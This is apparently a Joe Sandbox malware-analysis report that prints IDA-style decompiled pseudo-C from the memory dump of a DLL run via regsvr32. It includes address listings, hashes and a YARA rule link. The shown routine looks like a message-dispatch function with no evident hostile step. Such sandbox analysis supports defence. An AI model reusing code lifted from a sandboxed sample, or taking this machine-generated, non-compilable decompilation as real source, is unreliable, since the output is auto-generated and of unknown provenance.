														__eflags =  *((intOrPtr*)(_t518 + 0x10)) - _t299;
														if( *((intOrPtr*)(_t518 + 0x10)) == _t299) {
															goto L43;
														}
														continue;
													}
												}
												L42:
												_t518 = _t518 + 0x20;
												__eflags =  *((intOrPtr*)(_t518 + 0x10)) - _t299;
											} while ( *((intOrPtr*)(_t518 + 0x10)) != _t299);
											L43:
											_t518 = _t299;
											goto L44;
										}
										_t519 =  *((intOrPtr*)(_t517 + 8));
										__eflags =  *((intOrPtr*)(_t519 + 0x10)) - _t299;
										if( *((intOrPtr*)(_t519 + 0x10)) == _t299) {
											L34:
											_t519 = _t299;
											L35:
											__eflags = _t519 - _t299;
											if(_t519 != _t299) {
												_t299 = 0x100b3ef0;
												 *(0x100b3ef0 + 8 + _t335 * 8) = _t519;
												_t250 = 7;
												E1002ACF8();
												 *((intOrPtr*)(_t528 + 0x40)) = 0x7fffffff;
												L50:
												_t336 =  *((intOrPtr*)(_t519 + 0x18));
												_t342 =  *((intOrPtr*)(_t519 + 0x10));
												__eflags = _t342 - 0x1d;
												if(_t342 > 0x1d) {
													__eflags = _t342 - 0x2c;
													if(_t342 > 0x2c) {
														__eflags = _t342 - 0x33;
														if(_t342 > 0x33) {
															_t343 = _t342 - 0x34;
															__eflags = _t343;
															if(_t343 == 0) {
																r8d = _t134 & 0x0000ffff;
																 *_t336();
																goto L179;
															}
															_t345 = _t343 - _t565;
															__eflags = _t345;
															if(_t345 == 0) {
																 *((intOrPtr*)(_t528 + 0x38)) = _t289;
																 *((intOrPtr*)(_t528 + 0x3c)) = _t289;
																 *_t336();
																goto L179;
															}
															_t347 = _t345 - _t565;
															__eflags = _t347;
															if(_t347 == 0) {
																 *_t336();
																 *(_t528 + 0x30) = _t565;
																goto L179;
															}
															_t349 = _t347 - _t565;
															__eflags = _t349;
															if(_t349 == 0) {
																 *((intOrPtr*)(_t528 + 0x38)) = _t289;
																 *((intOrPtr*)(_t528 + 0x3c)) = _t289;
																 *_t336();
																_t147 = _t299;
																 *(_t528 + 0x30) = _t299;
																__eflags = _t299;
																if(_t299 != 0) {
																	goto L179;
																}
																return _t147;
															}
															_t351 = _t349 - 0xd;
															__eflags = _t351;
															if(_t351 == 0) {
																 *_t336();
																 *(_t528 + 0x30) = _t299;
																__eflags = _t299;
																if(_t299 == 0) {
																	goto L179;
																}
																return 0;
															}
															__eflags = _t351 - _t565;
															if(_t351 == _t565) {
																 *((intOrPtr*)(_t528 + 0x38)) = _t289;
																 *((intOrPtr*)(_t528 + 0x3c)) = _t289;
																 *_t336();
																 *(_t528 + 0x30) = _t299;
															}
															goto L179;
														}
														__eflags = _t342 - 0x33;
														if(_t342 == 0x33) {
															 *_t336();
														} else {
															_t355 = _t342 - 0x2d;
															__eflags = _t355;
															if(_t355 == 0) {
																 *_t336();
															} else {
																_t357 = _t355 - _t565;
																__eflags = _t357;
																if(_t357 == 0) {
																	 *_t336();
																	 *(_t528 + 0x30) = _t565;
																} else {
																	_t359 = _t357 - _t565;
																	__eflags = _t359;
																	if(_t359 == 0) {
																		 *(_t528 + 0x30) =  *_t336();
																	} else {
																		_t362 = _t359 - _t565;
																		__eflags = _t362;
																		if(_t362 == 0) {
																			 *((intOrPtr*)(_t528 + 0x38)) = _t289;
																			 *((intOrPtr*)(_t528 + 0x3c)) = _t289;
																			r11d =  *_t336();
																			 *(_t528 + 0x30) = _t561;
																		} else {
																			_t364 = _t362 - _t565;
																			__eflags = _t364;
																			if(_t364 == 0) {
																				r11d =  *_t336();
																				 *(_t528 + 0x30) = _t561;
																			} else {
																				__eflags = _t364 - _t565;
																				if(_t364 == _t565) {
																					 *_t336();
																				}
																			}
																		}
																	}
																}
															}
														}
														goto L179;
													}
													__eflags = _t342 - 0x2c;
													if(_t342 == 0x2c) {
														 *_t336();
													} else {
														__eflags = _t342 - 0x24;
														if(_t342 > 0x24) {
															__eflags = _t342 - 0x25;
															if(_t342 == 0x25) {
																E10014360(_t247, _t252, _t521 >> 0x10, _t562, _t485, _t529, _t553, _t561);
																r9d = _t134 & 0x0000ffff;
																r8d = _t289 & 0x0000ffff;
																 *_t336();
															} else {
																__eflags = _t342 - 0x26;
																if(_t342 == 0x26) {
																	 *((intOrPtr*)(_t528 + 0x38)) = _t289;
																	 *((intOrPtr*)(_t528 + 0x3c)) = _t289;
																	E10014360(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																	 *_t336();
																} else {
																	__eflags = _t342 - 0x27;
																	if(_t342 == 0x27) {
																		E10014360(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																		 *_t336();
																	} else {
																		__eflags = _t342 - 0x28;
																		if(_t342 == 0x28) {
																			 *_t336();
																			 *(_t528 + 0x30) = _t299;
																		} else {
																			__eflags = _t342 - 0x29;
																			if(_t342 == 0x29) {
																				E10014360(_t247, _t252, _t562 >> 0x10, _t521, _t485, _t529, _t553, _t561);
																				r9d = _t134 & 0x0000ffff;
																				 *_t336();
																			} else {
																				_t306 = _t342 - 0x2a;
																				__eflags = _t306 - _t565;
																				if(_t306 <= _t565) {
																					r12d = r12w;
																					__eflags = _t342 - 0x2a;
																					if(_t342 != 0x2a) {
																						r8d = r12d;
																						 *_t336();
																					} else {
																						E10014360(_t247, _t252, _t306, _t521, _t485, _t529, _t553, _t561);
																						r8d = r12d;
																						 *_t336();
																					}
																				}
																			}
																		}
																	}
																}
															}
														} else {
															__eflags = _t342 - 0x24;
															if(_t342 == 0x24) {
																E10014360(_t247, _t252, _t299, _t521, _t485, _t529, _t553, _t561);
																 *_t336();
															} else {
																_t382 = _t342 - 0x1e;
																__eflags = _t382;
																if(_t382 == 0) {
																	 *_t336();
																} else {
																	_t384 = _t382 - _t565;
																	__eflags = _t384;
																	if(_t384 == 0) {
																		E10014360(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																		E10014360(_t247, _t252, _t299, _t521, _t485, _t529, _t553, _t561);
																		__eflags =  *((intOrPtr*)(_t527 + 0x40)) - _t521;
																		 *_t336();
																	} else {
																		_t388 = _t384 - _t565;
																		__eflags = _t388;
																		if(_t388 == 0) {
																			E1000F604(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																			 *_t336();
																		} else {
																			_t391 = _t388 - _t565;
																			__eflags = _t391;
																			if(_t391 == 0) {
																				E1002A0C4(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																				 *_t336();
																			} else {
																				_t394 = _t391 - _t565;
																				__eflags = _t394;
																				if(_t394 == 0) {
																					E1002A0C4(_t247, _t252, _t521 >> 0x10, _t562, _t485, _t529, _t553, _t561);
																					r9d = _t134;
																					r8d = _t289;
																					 *_t336();
																				} else {
																					__eflags = _t394 - _t565;
																					if(_t394 == _t565) {
																						E10014360(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																						 *_t336();
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												} else {
													__eflags = _t342 - 0x1d;
													if(_t342 == 0x1d) {
														 *(_t528 + 0x30) =  *_t336();
													} else {
														__eflags = _t342 - 0xf;
														if(_t342 > 0xf) {
															__eflags = _t342 - 0x16;
															if(_t342 > 0x16) {
																_t401 = _t342 - 0x17;
																__eflags = _t401;
																if(_t401 == 0) {
																	r8d = _t134;
																	 *_t336();
																} else {
																	_t403 = _t401 - _t565;
																	__eflags = _t403;
																	if(_t403 == 0) {
																		r9d = _t134 & 0x0000ffff;
																		r8d = _t289 & 0x0000ffff;
																		 *_t336();
																	} else {
																		_t405 = _t403 - _t565;
																		__eflags = _t405;
																		if(_t405 == 0) {
																			r9d = _t134 & 0x0000ffff;
																			r8d = _t289 & 0x0000ffff;
																			 *_t336();
																		} else {
																			_t407 = _t405 - _t565;
																			__eflags = _t407;
																			if(_t407 == 0) {
																				E10014360(_t247, _t252, _t299, _t521, _t485, _t529, _t553, _t561);
																				 *_t336();
																			} else {
																				_t410 = _t407 - _t565;
																				__eflags = _t410;
																				if(_t410 == 0) {
																					 *(_t528 + 0x30) =  *_t336();
																				} else {
																					__eflags = _t410 - _t565;
																					if(_t410 == _t565) {
																						r11d =  *_t336();
																						 *(_t528 + 0x30) = _t561;
																					}
																				}
																			}
																		}
																	}
																}
															} else {
																__eflags = _t342 - 0x16;
																if(_t342 == 0x16) {
																	r8d = _t134 & 0x0000ffff;
																	 *_t336();
																} else {
																	_t415 = _t342 - 0x10;
																	__eflags = _t415;
																	if(_t415 == 0) {
																		 *_t336();
																	} else {
																		_t417 = _t415 - _t565;
																		__eflags = _t417;
																		if(_t417 == 0) {
																			 *_t336();
																		} else {
																			_t419 = _t417 - _t565;
																			__eflags = _t419;
																			if(_t419 == 0) {
																				 *_t336();
																			} else {
																				_t421 = _t419 - _t565;
																				__eflags = _t421;
																				if(_t421 == 0) {
																					 *_t336();
																				} else {
																					_t423 = _t421 - _t565;
																					__eflags = _t423;
																					if(_t423 == 0) {
																						 *_t336();
																					} else {
																						__eflags = _t423 - _t565;
																						if(_t423 == _t565) {
																							r8d = _t289;
																							 *_t336();
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														} else {
															__eflags = _t342 - 0xf;
															if(_t342 == 0xf) {
																r8d = E1002A0C4(_t247, _t252, _t299, _t521, _t485, _t529, _t553, _t561) & 0x0000ffff;
																 *_t336();
																 *(_t528 + 0x30) = _t562 >> 0x10;
															} else {
																__eflags = _t342 - 8;
																if(_t342 > 8) {
																	_t428 = _t342 - 9;
																	__eflags = _t428;
																	if(_t428 == 0) {
																		E1000F088(_t528 + 0x48);
																		_t319 =  *((intOrPtr*)(_t521 + 8));
																		 *(_t528 + 0x50) = _t319;
																		r8d =  *(_t521 + 0x10);
																		 *_t336();
																		 *(_t528 + 0x50) = 0;
																		 *(_t528 + 0x30) = _t319;
																		E1000F6C0(_t528 + 0x48);
																	} else {
																		_t432 = _t428 - _t565;
																		__eflags = _t432;
																		if(_t432 == 0) {
																			E10014360(_t247, _t252, _t562 >> 0x10, _t521, _t485, _t529, _t553, _t561);
																			r9d = _t134 & 0x0000ffff;
																			 *(_t528 + 0x30) =  *_t336();
																		} else {
																			_t436 = _t432 - _t565;
																			__eflags = _t436;
																			if(_t436 == 0) {
																				r8d = _t134 & 0x0000ffff;
																				 *(_t528 + 0x30) =  *_t336();
																			} else {
																				_t439 = _t436 - _t565;
																				__eflags = _t439;
																				if(_t439 == 0) {
																					E10014360(_t247, _t252, _t521 >> 0x10, _t562, _t485, _t529, _t553, _t561);
																					r9d = _t134 & 0x0000ffff;
																					r8d = _t289 & 0x0000ffff;
																					 *(_t528 + 0x30) =  *_t336();
																				} else {
																					_t443 = _t439 - _t565;
																					__eflags = _t443;
																					if(_t443 == 0) {
																						 *(_t528 + 0x30) =  *_t336();
																					} else {
																						__eflags = _t443 - _t565;
																						if(_t443 == _t565) {
																							 *_t336();
																							 *(_t528 + 0x30) = _t299;
																						}
																					}
																				}
																			}
																		}
																	}
																} else {
																	__eflags = _t342 - 8;
																	if(_t342 == 8) {
																		E1000F088(_t528 + 0x48);
																		_t326 =  *((intOrPtr*)(_t521 + 8));
																		 *(_t528 + 0x50) = _t326;
																		E10012554(__eflags, _t326, _t528 + 0x70);
																		 *((long long*)(_t528 + 0xb0)) =  *_t521;
																		_t287 =  *(_t521 + 0x10);
																		E1001439C(_t247, _t250, _t289, _t326,  *_t521, _t485, _t561);
																		__eflags = _t326;
																		if(_t326 == 0) {
																			_t453 =  *((intOrPtr*)(_t527 + 0x98));
																			__eflags = _t453;
																			if(_t453 != 0) {
																				E10029418(_t453 + 0x48,  *((intOrPtr*)(_t528 + 0xb0)));
																				__eflags = _t326;
																				_t456 =  !=  ? _t326 :  *((intOrPtr*)(_t528 + 0x110));
																				 *((long long*)(_t528 + 0x110)) =  !=  ? _t326 :  *((intOrPtr*)(_t528 + 0x110));
																			}
																			_t326 = _t528 + 0x70;
																		}
																		r9d = _t287;
																		 *_t336();
																		 *(_t528 + 0x50) = 0;
																		 *((long long*)(_t528 + 0xb0)) = 0;
																		 *(_t528 + 0x30) = _t326;
																		E10015008(_t528 + 0x70);
																		E1000F6C0(_t528 + 0x48);
																	} else {
																		_t457 = _t342 - _t565;
																		__eflags = _t457;
																		if(_t457 == 0) {
																			E1000F604(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																			 *(_t528 + 0x30) =  *_t336();
																		} else {
																			_t461 = _t457 - _t565;
																			__eflags = _t461;
																			if(_t461 == 0) {
																				 *(_t528 + 0x30) =  *_t336();
																			} else {
																				_t464 = _t461 - _t565;
																				__eflags = _t464;
																				if(_t464 == 0) {
																					 *(_t528 + 0x30) =  *_t336();
																				} else {
																					_t467 = _t464 - _t565;
																					__eflags = _t467;
																					if(_t467 == 0) {
																						 *(_t528 + 0x30) =  *_t336();
																					} else {
																						_t470 = _t467 - _t565;
																						__eflags = _t470;
																						if(_t470 == 0) {
																							E10014360(_t247, _t252, _t521 >> 0x10, _t562, _t485, _t529, _t553, _t561);
																							r9d = _t134 & 0x0000ffff;
																							r8d = _t289 & 0x0000ffff;
																							 *(_t528 + 0x30) =  *_t336();
																						} else {
																							_t474 = _t470 - _t565;
																							__eflags = _t474;
																							if(_t474 == 0) {
																								E10014360(_t247, _t252, _t299, _t562, _t485, _t529, _t553, _t561);
																								 *(_t528 + 0x30) =  *_t336();
																							} else {
																								__eflags = _t474 - _t565;
																								if(_t474 == _t565) {
																									 *(_t528 + 0x30) =  *_t336();
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																	}
																}
															}
														}
													}
												}
												goto L179;
											} else {
												goto L47;
											}
										} else {
											goto L30;
										}
										do {
											L30:
											__eflags =  *_t519 - r13d;
											if( *_t519 != r13d) {
												goto L33;
											}
											__eflags =  *((intOrPtr*)(_t519 + 4)) - _t134;
											if( *((intOrPtr*)(_t519 + 4)) != _t134) {
												goto L33;
											}
											__eflags =  *((intOrPtr*)(_t519 + 8)) - _t134;
											if( *((intOrPtr*)(_t519 + 8)) <= _t134) {
												goto L35;
											}
											L33:
											_t519 = _t519 + 0x20;
											__eflags =  *((intOrPtr*)(_t519 + 0x10)) - _t299;
										} while ( *((intOrPtr*)(_t519 + 0x10)) != _t299);
										goto L34;
										L47:
										 *_t339();
										_t517 = _t299;
										_t339 =  *_t299;
										_t134 = 0;
										__eflags = _t339 - _t299;
									} while (_t339 != _t299);
									_t485 = 0x100b3ef0;
									goto L183;
								}
								__eflags = _t517 -  *((intOrPtr*)(0x100b3ef0 + 0x10 + _t335 * 8));
								if(_t517 !=  *((intOrPtr*)(0x100b3ef0 + 0x10 + _t335 * 8))) {
									goto L27;
								}
								_t519 =  *(0x100b3ef0 + 8 + _t335 * 8);
								_t250 = 7;
								E1002ACF8();
								 *((intOrPtr*)(_t528 + 0x40)) = 0x7fffffff;
								__eflags = _t519;
								if(_t519 == 0) {
									return 0;
								}
								__eflags = r13d - 0xc000;
								if(r13d < 0xc000) {
									goto L50;
								} else {
									goto L178;
								}
							}
							__eflags =  *((intOrPtr*)(_t298 + 0xe0));
							if( *((intOrPtr*)(_t298 + 0xe0)) <= 0) {
								goto L21;
							}
							__eflags = r13d - 0x200;
							if(r13d < 0x200) {
								L17:
								__eflags = r13d - 0x100;
								if(r13d < 0x100) {
									L19:
									__eflags = _t564 - 0x281 - 0x10;
									if(_t564 - 0x281 > 0x10) {
										goto L21;
									}
									L20:
									 *((long long*)(_t528 + 0x20)) = _t528 + 0x30;
									_t553 = _t521;
									_t529 = _t562;
									_t252 = r13d;
									_t237 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t527 + 0x98)))) + 0x128))();
									__eflags = _t237;
									if(_t237 != 0) {
										goto L179;
									}
									goto L21;
								}
								__eflags = r13d - 0x10f;
								if(r13d <= 0x10f) {
									goto L20;
								}
								goto L19;
							}
							__eflags = r13d - 0x209;
							if(r13d <= 0x209) {
								goto L20;
							}
							goto L17;
						}
						r8d = _t131 & 0x0000ffff;
						_t252 = _t289;
						_t238 = E100164D4(_t244, _t289, _t289, _t521 >> 0x10, _t527, _t484, _t529, _t553, _t561);
						__eflags = _t238;
						if(_t238 == 0) {
							goto L13;
						} else {
							 *(_t528 + 0x30) = _t565;
							goto L179;
						}
					}
					__eflags =  *__r9;
					if( *__r9 == 0) {
						L7:
						return 0;
					}
					_t241 =  *((intOrPtr*)( *__rcx + 0x1d8))();
					__eflags = _t241;
					if(_t241 != 0) {
						goto L179;
					}
					goto L7;
				} else {
					if( *((intOrPtr*)( *__rcx + 0x1d0))() == 0) {
						return 0;
					} else {
						 *(_t528 + 0x30) = _t565;
						goto L179;
					}
				}
			}

0x10016d48
0x10016d48
0x10016d48
0x10016d48
0x10016d48
0x10016d48
0x10016d5a
0x10016d63
0x10016d66
0x10016d69
0x10016d6c
0x10016d6f
0x10016d78
0x10016d80
0x10016d8c
0x10016db2
0x10016db5
0x10016de0
0x10016de3
0x10016de8
0x10016ded
0x10016df0
0x10016df6
0x10016df6
0x10016dfb
0x10016dff
0x10016e25
0x10016e25
0x10016e2c
0x10016e2f
0x10016e95
0x10016e95
0x10016e9c
0x10016e9f
0x10016ea7
0x10016eb2
0x10016eb8
0x10016ebd
0x10016ec1
0x10016ec8
0x10016ecc
0x10016f0a
0x10016f0a
0x10016f0e
0x10016f13
0x10016f16
0x10016f18
0x10016f1b
0x100178a6
0x100178a6
0x100178b0
0x100178b6
0x00000000
0x00000000
0x00000000
0x00000000
0x10016f21
0x10016f21
0x10016f21
0x10016f28
0x10016f57
0x10016f57
0x10016f61
0x10016f61
0x10016f67
0x00000000
0x00000000
0x10016f69
0x10016f6c
0x00000000
0x00000000
0x10016f6e
0x10016f71
0x10016f80
0x10016f80
0x10016f83
0x00000000
0x00000000
0x10016f85
0x10016f89
0x10016f8c
0x10017852
0x10017859
0x10017863
0x10017868
0x10017870
0x1001787d
0x10017880
0x10017885
0x10017885
0x10017890
0x10017897
0x10017897
0x00000000
0x10016f92
0x10016f92
0x10016f96
0x10016f5b
0x10016f5b
0x10016f5f
0x00000000
0x00000000
0x00000000
0x10016f5f
0x10016f8c
0x10016f73
0x10016f73
0x10016f77
0x10016f77
0x10016f7d
0x10016f7d
0x00000000
0x10016f7d
0x10016f2a
0x10016f2e
0x10016f32
0x10016f4d
0x10016f4d
0x10016f50
0x10016f50
0x10016f53
0x10016fb2
0x10016fb9
0x10016fbe
0x10016fc3
0x10016fc8
0x10016fd0
0x10016fd0
0x10016fd4
0x10016fd8
0x10016fdc
0x10017463
0x10017467
0x1001768a
0x1001768e
0x1001775a
0x1001775a
0x1001775e
0x10017840
0x1001784e
0x00000000
0x1001784e
0x10017764
0x10017764
0x10017767
0x1001781b
0x10017826
0x10017835
0x00000000
0x10017835
0x1001776d
0x1001776d
0x10017770
0x1001780f
0x10017811
0x00000000
0x10017811
0x10017776
0x10017776
0x10017779
0x100177cd
0x100177d8
0x100177ef
0x100177f1
0x100177f3
0x100177f8
0x100177fb
0x00000000
0x00000000
0x00000000
0x100177fb
0x1001777b
0x1001777b
0x1001777f
0x100177b3
0x100177b5
0x100177ba
0x100177bd
0x00000000
0x00000000
0x00000000
0x100177c3
0x10017781
0x10017784
0x1001778d
0x10017798
0x100177a4
0x100177a6
0x100177a6
0x00000000
0x10017784
0x10017694
0x10017698
0x10017753
0x1001769e
0x1001769e
0x1001769e
0x100176a2
0x10017746
0x100176a8
0x100176a8
0x100176a8
0x100176ab
0x10017731
0x10017733
0x100176ad
0x100176ad
0x100176ad
0x100176b0
0x1001771e
0x100176b2
0x100176b2
0x100176b2
0x100176b5
0x100176ea
0x100176f5
0x10017703
0x10017706
0x100176b7
0x100176b7
0x100176b7
0x100176ba
0x100176da
0x100176dd
0x100176bc
0x100176bc
0x100176bf
0x100176ce
0x100176ce
0x100176bf
0x100176ba
0x100176b5
0x100176b0
0x100176ab
0x100176a2
0x00000000
0x10017698
0x1001746d
0x10017471
0x10017683
0x10017477
0x10017477
0x1001747b
0x1001756a
0x1001756e
0x10017665
0x1001766d
0x10017670
0x10017676
0x10017574
0x10017574
0x10017578
0x1001762c
0x10017637
0x1001763e
0x1001764e
0x1001757e
0x1001757e
0x10017582
0x10017614
0x10017622
0x10017588
0x10017588
0x1001758c
0x10017605
0x10017607
0x1001758e
0x1001758e
0x10017592
0x100175e9
0x100175f5
0x100175fb
0x10017594
0x10017594
0x10017598
0x1001759b
0x100175a9
0x100175ad
0x100175b1
0x100175cd
0x100175d5
0x100175b3
0x100175b6
0x100175be
0x100175c6
0x100175c6
0x100175b1
0x1001759b
0x10017592
0x1001758c
0x10017582
0x10017578
0x10017481
0x10017481
0x10017485
0x10017558
0x10017563
0x1001748b
0x1001748b
0x1001748b
0x1001748f
0x1001754e
0x10017495
0x10017495
0x10017495
0x10017498
0x1001751c
0x10017527
0x10017531
0x1001753e
0x1001749a
0x1001749a
0x1001749a
0x1001749d
0x10017507
0x10017512
0x1001749f
0x1001749f
0x1001749f
0x100174a2
0x100174f2
0x100174fd
0x100174a4
0x100174a4
0x100174a4
0x100174a7
0x100174d7
0x100174df
0x100174e2
0x100174e8
0x100174a9
0x100174a9
0x100174ac
0x100174b5
0x100174c0
0x100174c0
0x100174ac
0x100174a7
0x100174a2
0x1001749d
0x10017498
0x1001748f
0x10017485
0x1001747b
0x10016fe2
0x10016fe2
0x10016fe6
0x10017459
0x10016fec
0x10016fec
0x10016ff0
0x100172f8
0x100172fc
0x10017398
0x10017398
0x1001739c
0x10017440
0x1001744a
0x100173a2
0x100173a2
0x100173a2
0x100173a5
0x10017424
0x10017428
0x10017432
0x100173a7
0x100173a7
0x100173a7
0x100173aa
0x10017408
0x1001740c
0x10017416
0x100173ac
0x100173ac
0x100173ac
0x100173af
0x100173ec
0x100173fa
0x100173b1
0x100173b1
0x100173b1
0x100173b4
0x100173df
0x100173b6
0x100173b6
0x100173b9
0x100173c7
0x100173ca
0x100173ca
0x100173b9
0x100173b4
0x100173af
0x100173aa
0x100173a5
0x10017302
0x10017302
0x10017306
0x10017386
0x10017391
0x10017308
0x10017308
0x10017308
0x1001730c
0x10017378
0x1001730e
0x1001730e
0x1001730e
0x10017311
0x10017368
0x10017313
0x10017313
0x10017313
0x10017316
0x1001735b
0x10017318
0x10017318
0x10017318
0x1001731b
0x1001734b
0x1001731d
0x1001731d
0x1001731d
0x10017320
0x10017341
0x10017322
0x10017322
0x10017325
0x1001732b
0x10017334
0x10017334
0x10017325
0x10017320
0x1001731b
0x10017316
0x10017311
0x1001730c
0x10017306
0x10016ff6
0x10016ff6
0x10016ffa
0x100172e1
0x100172ec
0x100172ee
0x10017000
0x10017000
0x10017004
0x100171bc
0x100171bc
0x100171c0
0x10017295
0x1001729b
0x1001729f
0x100172a4
0x100172b0
0x100172b2
0x100172bb
0x100172c5
0x100171c6
0x100171c6
0x100171c6
0x100171c9
0x1001726f
0x1001727b
0x10017286
0x100171cf
0x100171cf
0x100171cf
0x100171d2
0x10017248
0x10017258
0x100171d4
0x100171d4
0x100171d4
0x100171d7
0x10017221
0x10017229
0x1001722c
0x10017237
0x100171d9
0x100171d9
0x100171d9
0x100171dc
0x10017207
0x100171de
0x100171de
0x100171e1
0x100171f0
0x100171f2
0x100171f2
0x100171e1
0x100171dc
0x100171d7
0x100171d2
0x100171c9
0x1001700a
0x1001700a
0x1001700e
0x1001710d
0x10017113
0x10017117
0x10017121
0x1001712a
0x10017132
0x10017135
0x1001713a
0x1001713d
0x1001713f
0x10017146
0x10017149
0x10017157
0x10017164
0x10017167
0x1001716b
0x1001716b
0x10017173
0x10017173
0x10017178
0x10017186
0x10017188
0x10017191
0x1001719d
0x100171a7
0x100171b2
0x10017014
0x10017014
0x10017014
0x10017017
0x100170ee
0x100170fe
0x1001701d
0x1001701d
0x1001701d
0x10017020
0x100170e1
0x10017026
0x10017026
0x10017026
0x10017029
0x100170cc
0x1001702f
0x1001702f
0x1001702f
0x10017032
0x100170b7
0x10017034
0x10017034
0x10017034
0x10017037
0x1001708c
0x10017094
0x10017097
0x100170a2
0x10017039
0x10017039
0x10017039
0x1001703c
0x1001705f
0x10017072
0x1001703e
0x1001703e
0x10017041
0x10017052
0x10017052
0x10017041
0x1001703c
0x10017037
0x10017032
0x10017029
0x10017020
0x10017017
0x1001700e
0x10017004
0x10016ffa
0x10016ff0
0x10016fe6
0x00000000
0x10016f55
0x00000000
0x10016f55
0x00000000
0x00000000
0x00000000
0x10016f34
0x10016f34
0x10016f34
0x10016f37
0x00000000
0x00000000
0x10016f39
0x10016f3c
0x00000000
0x00000000
0x10016f3e
0x10016f41
0x00000000
0x00000000
0x10016f43
0x10016f43
0x10016f47
0x10016f47
0x00000000
0x10016f9a
0x10016f9a
0x10016f9c
0x10016f9f
0x10016fa2
0x10016fa4
0x10016fa4
0x1001789f
0x00000000
0x1001789f
0x10016ece
0x10016ed3
0x00000000
0x00000000
0x10016ed5
0x10016eda
0x10016edf
0x10016ee4
0x10016eec
0x10016eef
0x00000000
0x10016ef1
0x10016ef8
0x10016eff
0x00000000
0x10016f05
0x00000000
0x10016f05
0x10016eff
0x10016e31
0x10016e38
0x00000000
0x00000000
0x10016e3a
0x10016e41
0x10016e4c
0x10016e4c
0x10016e53
0x10016e5e
0x10016e65
0x10016e68
0x00000000
0x00000000
0x10016e6a
0x10016e79
0x10016e7e
0x10016e81
0x10016e84
0x10016e87
0x10016e8d
0x10016e8f
0x00000000
0x00000000
0x00000000
0x10016e8f
0x10016e55
0x10016e5c
0x00000000
0x00000000
0x00000000
0x10016e5c
0x10016e43
0x10016e4a
0x00000000
0x00000000
0x00000000
0x10016e4a
0x10016e08
0x10016e0c
0x10016e12
0x10016e17
0x10016e19
0x00000000
0x10016e1b
0x10016e1b
0x00000000
0x10016e1b
0x10016e19
0x10016db7
0x10016dbb
0x10016dd9
0x00000000
0x10016dd9
0x10016dcb
0x10016dd1
0x10016dd3
0x00000000
0x00000000
0x00000000
0x10016d8e
0x10016d9f
0x00000000
0x10016da1
0x10016da1
0x10016da6
0x10016da6
0x10016d9f

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b720627ed2db350e1178975f9ce226cbda392acf6bba6bfbbd02fa20b8d4d1f9
Instruction ID: 6c204d1ec2342d2d5627c8c1ceb5314395777e750850360c469f3061cdd46623
Opcode Fuzzy Hash: b720627ed2db350e1178975f9ce226cbda392acf6bba6bfbbd02fa20b8d4d1f9
Instruction Fuzzy Hash: C13292227666D489DF98DF22A85822E62F1F789BC0F640526AE4F4FB58DE3CC5C1C741

Uniqueness

Uniqueness Score: -1.00%

Function 1004A5E0 Relevance: .5, Instructions: 506
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1004A5E0(signed int __edx, signed int __rbx, signed short* __rcx, signed int* __rdx, signed long long __rdi, long long __rsi, long long __rbp, signed long long __r9, void* __r10, void* __r11, long long __r12, long long __r13, long long __r14, long long __r15, signed int _a8, void* _a16, void* _a24, long long _a32) {
				void* _v8;
				void* _v16;
				long long _v24;
				long long _v32;
				long long _v40;
				void* _v48;
				intOrPtr _v72;
				char _v80;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v104;
				signed int _t195;
				signed int _t203;
				intOrPtr _t211;
				signed int _t212;
				signed int _t214;
				intOrPtr _t218;
				intOrPtr _t221;
				signed int _t222;
				signed int _t224;
				signed int _t229;
				signed int _t231;
				signed int _t236;
				intOrPtr _t242;
				signed int _t244;
				signed int _t246;
				signed int _t253;
				signed int _t255;
				signed int _t259;
				signed int _t265;
				signed int _t267;
				signed int _t271;
				signed int _t274;
				signed int _t276;
				signed int _t287;
				intOrPtr _t293;
				signed int _t306;
				intOrPtr _t310;
				signed int _t312;
				signed int _t313;
				signed int _t314;
				unsigned int _t315;
				signed int _t318;
				unsigned int _t319;
				signed int _t322;
				signed int _t323;
				signed int _t324;
				signed int _t326;
				signed int _t327;
				signed int _t328;
				unsigned int _t329;
				signed int _t332;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t340;
				signed int _t346;
				signed int _t349;
				signed int _t351;
				signed int _t353;
				void* _t359;
				long long _t360;
				intOrPtr* _t363;
				signed int _t364;
				signed long long _t366;
				signed int _t367;
				intOrPtr* _t370;
				signed int _t372;
				signed int _t374;
				signed int _t376;
				signed int _t377;
				signed long long _t379;
				signed long long _t381;
				signed int* _t382;
				signed long long _t383;
				signed long long _t384;
				signed long long _t385;
				signed int _t387;
				signed long long _t388;
				signed int _t390;
				signed long long _t391;
				signed int _t392;
				signed long long _t393;
				signed long long _t394;
				signed long long _t395;
				void* _t402;
				void* _t403;
				signed long long _t404;
				signed long long _t405;
				signed long long _t406;
				signed long long _t407;
				signed long long _t408;
				signed long long _t409;
				signed long long _t414;
				void* _t415;
				signed long long _t416;
				void* _t417;
				signed long long _t419;
				long long _t421;
				long long _t425;
				signed long long _t427;

				_t425 = __r14;
				_t421 = __r13;
				_t417 = __r11;
				_t415 = __r10;
				_t414 = __r9;
				_t395 = __rdi;
				_t382 = __rdx;
				_t367 = __rbx;
				_a16 = __rdx;
				_t359 = _t402;
